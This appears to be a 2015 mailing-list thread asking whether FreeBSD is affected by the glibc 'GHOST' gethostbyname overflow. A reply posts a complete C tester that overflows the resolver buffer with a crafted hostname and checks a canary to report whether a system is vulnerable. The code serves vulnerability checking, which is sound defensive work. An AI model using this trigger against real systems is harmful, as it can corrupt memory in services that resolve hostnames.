Linux "Ghost" Remote Code Execution Vulnerability

[jd1008]

On 01/28/2015 07:38 PM, Polytropon wrote:
> On Wed, 28 Jan 2015 14:52:47 -0500, Jerry wrote:
>> Does this vulnerability affect FreeBSD?
>>
>> https://www.us-cert.gov/ncas/current-activity/2015/01/27/Linux-Ghost-Remote-Code-Execution-Vulnerability
> FreeBSD's gethostbyname() is located in the standard C library,
> which is libc, not glibc (that Linux is using), so probably
> FreeBSD is not affected. However, programs linked against
> glibc and run in the Linux ABI environment might be affected,
> I assume.
>
> You can find a demonstration program here:
>
> http://www.openwall.com/lists/oss-security/2015/01/27/9
>
> It's in section 4.
>
> On my home system, I get this:
>
> 	% cc -Wall -o ghost ghost.c
> 	% ./ghost
> 	should not happen
>
> Surprise: Neither "vulnerable" nor "not vulnerable" is printed.
> That result is interesting. It might indicate ternary logic.
> YES, NO, FILE_NOT_FOUND. :-)
>
> Note that 4.1 explicitely talks about "The GNU C Library"
> which FreeBSD does not use (or have). Section 4 mentions
> other programs (such as mount.nfs, ping, procmail) for
> further explanation.
Then you do not have the real mccoy.
This is the real Mccoy:

/* ghosttest.c:  GHOST vulnerability tester */
/* Credit: http://www.openwall.com/lists/oss-security/2015/01/27/9 */
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

#define CANARY "in_the_coal_mine"

struct {
   char buffer[1024];
   char canary[sizeof(CANARY)];
} temp = { "buffer", CANARY };

int main(void) {
   struct hostent resbuf;
   struct hostent *result;
   int herrno;
   int retval;

   /*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof 
(*h_addr_ptrs) - 1; ***/
   size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 
2*sizeof(char *) - 1;
   char name[sizeof(temp.buffer)];
   memset(name, '0', len);
   name[len] = '\0';

   retval = gethostbyname_r(name, &resbuf, temp.buffer, 
sizeof(temp.buffer), &result, &herrno);

   if (strcmp(temp.canary, CANARY) != 0) {
     puts("vulnerable");
     exit(EXIT_SUCCESS);
   }
   if (retval == ERANGE) {
     puts("not vulnerable");
     exit(EXIT_SUCCESS);
   }
   puts("should not happen");
   exit(EXIT_FAILURE);
}